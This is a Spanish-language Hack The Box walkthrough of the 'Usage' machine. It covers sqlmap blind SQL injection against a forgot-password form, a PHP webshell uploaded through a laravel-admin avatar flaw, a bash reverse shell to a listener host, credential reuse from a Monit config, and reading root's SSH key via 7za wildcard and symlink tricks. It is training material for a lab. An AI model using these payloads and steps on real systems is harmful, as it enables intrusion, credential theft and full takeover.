Usage es una máquina Linux con un blog vulnerable a inyecciones SQL, lo que permite extraer la contraseña hasheada del administrador. Esto da acceso al panel de administración, donde un módulo desactualizado de Laravel-Admin es explotado para cargar una webshell en PHP y lograr ejecución remota de comandos. Dentro de la máquina, unas credenciales en texto plano almacenadas en un archivo permiten escalar privilegios a otro usuario que tiene permiso para ejecutar un binario personalizado como root. Este binario utiliza de forma insegura 7zip, lo que se aprovecha para leer la clave privada SSH del usuario root.
Reconocimiento
┌──(root㉿kali)-[/home/noc/htb/usage/nmap]
└─# nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v 10.10.11.18 -oN scan
Con el escaneo de nmap se ven dos puertos abiertos: 22 (SSH) y 80 (HTTP)
Hay un redirect a http://usage.htb/
(que hay que añadir a /etc/hosts
).
Puerto 80
usage.htb
┌──(root㉿kali)-[/home/noc/htb/usage/nmap]
└─# whatweb http://usage.htb
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Login redirige a /login
y Register a /registration
Reset Password redirige a /forget-password
Admin redirige a http://admin.usage.htb/. Se añade admin.usage.htb
a /etc/hosts
para investigarlo más tarde.
Se puede registrar un usuario:
Tras iniciar sesión, en /dashboard
hay unas entradas de unos blogs sin mucho interés más allá de la mención a Laravel PHP.
admin.usage.htb
Tras añadir admin.usage.htb
a /etc/hosts
:
┌──(root㉿kali)-[/home/noc/htb/usage/nmap]
└─# whatweb http://admin.usage.htb/
http://admin.usage.htb/ [200 OK] Bootstrap, Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.18], Laravel, PasswordField[password], Script, Title[Admin | Login], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block], nginx[1.18.0]
Por las cookies de sesión que también hay en usage.htb, se confirma que el CMS utilizado es Laravel.
Shell como dash
Inyección SQL
En /forget-password
, al introducir una comilla '
devuelve un error:
Esto es un indicativo de que puede haber inyecciones SQL que pueden ser aprovechadas. La aplicación genera un error interno (HTTP 500) al ingresar '
en el campo del email, lo que sugiere que el input no está siendo correctamente validado o sanitizado, y que está siendo utilizado directamente en una consulta SQL que podría ser algo como:
SELECT * FROM users WHERE email = '{input_del_usuario}';
Interceptando con burpsuite la petición en /forget-password
:
Se copia la request y con sqlmap
se buscan inyecciones:
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# cat req.txt
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkdRUG9Ec3pUZ2tsVVVCcndsUGl1bVE9PSIsInZhbHVlIjoiZUZObytKSkltWWsyalBVMHNsMFdRdHdkTnVYMy8xZDdGTEEwWHBhNUpzeDdBdGpFQ2UrSVp2L00yUVdjTVNjSk1YcTUzQ1p0Mmo2dmFYVHpOekRMMGpRN1d6N3ZVVnJOSExPelkxcFA5K3Jvem9GaS9ndUlNYnpVWWZHaGY5ZHoiLCJtYWMiOiJjNmY2MDkyODY2YjdhOTQ1NWRkNWU4Y2VjMDA0MDJkYWU3MTU3MGVhMWM4M2MwOTNjMmUwODQ5Y2UzZGE1ZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkZDK1Z1TTVmR3NIaWhSR05LamQwT0E9PSIsInZhbHVlIjoiblBnc1lGWWpkN0VIOGZSQ2JxMDZrVkh5S2REU090Z1dPSFdFQ2FBeHc0YVNKMHExb25kQkx5Y083c0hETkJmY0hXVXdPdmxYcFYvTjNhbkhqQXRCL2pQM3JncEVTb0hEUmFXMkhxWFNLOXZZNmdxOFVmbUVoMUdFRHJuWGhpWmMiLCJtYWMiOiI2YWMzYmFjZWNmNmRhNzJjYTA4ZmMwMzYxMjZiMTAxOWIyNzk4MTQ1MzZmNDQ3YTFlNDUwYjc0Mzk1YjJiZmE5IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=lkfRwkTSyE6HtYZBHiegSXZtGMKx9m7XcVEShOyz&email=test%40usage.htb
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt -p email --batch
(...)
[04:51:26] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
(...)
No encuentra nada de primeras, pero sí ajustando los parámetros --level
, --risk
, especificando que solo pruebe la inyección en el parámetro vulnerable (-p email
), y optimizando la velocidad con --threads
:
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch
(...)
sqlmap identified the following injection point(s) with a total of 739 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=lkfRwkTSyE6HtYZBHiegSXZtGMKx9m7XcVEShOyz&email=test@usage.htb' AND 3014=(SELECT (CASE WHEN (3014=3014) THEN 3014 ELSE (SELECT 5370 UNION SELECT 7152) END))-- XCDM
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: _token=lkfRwkTSyE6HtYZBHiegSXZtGMKx9m7XcVEShOyz&email=test@usage.htb' AND 2337=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- McgN
---
[05:02:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12
[05:02:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 346 times
[05:02:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/usage.htb'
Una vez identificada como «boolean-based blind» sql injection, utilicé sqlmap para enumerar las bases de datos, extraer las tablas relevantes y, finalmente, obtener el hash del usuario admin
de la tabla admin_users
.
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch --dbs
(...)
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog --tables
(...)
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# sqlmap -r req.txt --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog -T admin_users --dump
(...)
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
Con la contraseña se puede iniciar sesión en admin.usage.htb
Buscando CVEs recientes, encontré esta CVE-2023-24249 que afecta a un paquete que se integra con Laravel para facilitar la creación de paneles administrativos: laravel-admin (1.8.18 es la versión de la máquina) en la versión 1.8.19. En este post, se puede ver el funcionamiento.
Creo una webshell en php:
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# cat noc.php
<?php system($_REQUEST['cmd']); ?>
Clickando en Administrator (arriba a la derecha), y luego en Browse, se pueden subir archivos para cambiar el avatar.
La extensión .php
no es válida.
Cambiando la extensión a .php.jpg
sí parece aceptarla:
Pero al abrirla no se ejecuta el código. Hay que cambiar la extensión interceptando con burpsuite:
Ahora accediendo a la foto:
Pudiendo ejecutar comandos, establezco una reverse shell con bash -c 'bash -i >%26 /dev/tcp/10.10.14.18/4444 0>%261'
(urlencodeando los &
para que no se interpreten como el inicio de un nuevo parámetro…):
http://admin.usage.htb/uploads/images/noc.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.18/4444 0>%261'
Tratamiento de la TTY:
script /dev/null -c bash
^Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <x> columns <y>
Hay dos usuarios: dash
y xander
.
dash@usage:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash
Escalada de Privilegios
dash -> xander
En el directorio de dash hay unos archivos ocultos:
dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Jan 5 14:49 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 6 Jan 5 14:49 .monit.pid
-rw------- 1 dash dash 1192 Jan 5 14:50 .monit.state
-rwx------ 1 dash dash 707 Oct 26 2023 .monitrc
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Jan 4 21:23 user.txt
«Monit es una herramienta de software libre para monitorización de procesos en sistemas Unix y Linux.»
En .monitrc
hay una contraseña (3nc0d3d_pa$$w0rd
) que se reutiliza para xander
.
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
xander -> root
Se puede ejecutar /usr/bin/usage_management
como cualquier usuario. Parece ser un ejecutable personalizado para realizar varias tareas de administración de la web.
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
Esto es lo que hace cada una de las opciones:
ander@usage:~$ usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2984 folders, 17947 files, 113879074 bytes (109 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20931
Error:
cannot open file
/var/backups/project.zip
Permission denied
System ERROR:
Unknown error -2147024883
xander@usage:~$ usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 2
sh: 1: cannot create /var/backups/mysql_backup.sql: Permission denied
xander@usage:~$ usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 3
Password has been reset.
Con strings
se puede ver un poco más en detalle lo que está haciendo:
xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
(...)
Ejecuta 7za
con comodines (*
) para comprimir todos los archivos en el directorio:
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
El uso de comodines (*
) en 7za
permite aprovechar una característica específica:
Archivos que comienzan con
@
son tratados como listas de archivos para incluir.Si creamos un archivo
@pwned
y un enlace simbólicopwned
que apunte a un archivo sensible como/root/.ssh/id_rsa
,7za
intentará leer el contenido del archivo vinculado.
Primero se cambia al directorio donde usage_management
opera (/var/www/html
), después se crea un archivo vacío (@pwned
) y el symlink:
xander@usage:~$ cd /var/www/html
xander@usage:/var/www/html$ touch @pwned; ln -fs /root/.ssh/id_rsa pwned
Se le dan los permisos correctos la id_rsa
con chmod 600
y se inicia sesión por ssh como root.
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# nano id_rsa_root
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# chmod 600 id_rsa_root
┌──(root㉿kali)-[/home/noc/htb/usage/content]
└─# ssh -i id_rsa_root root@usage.htb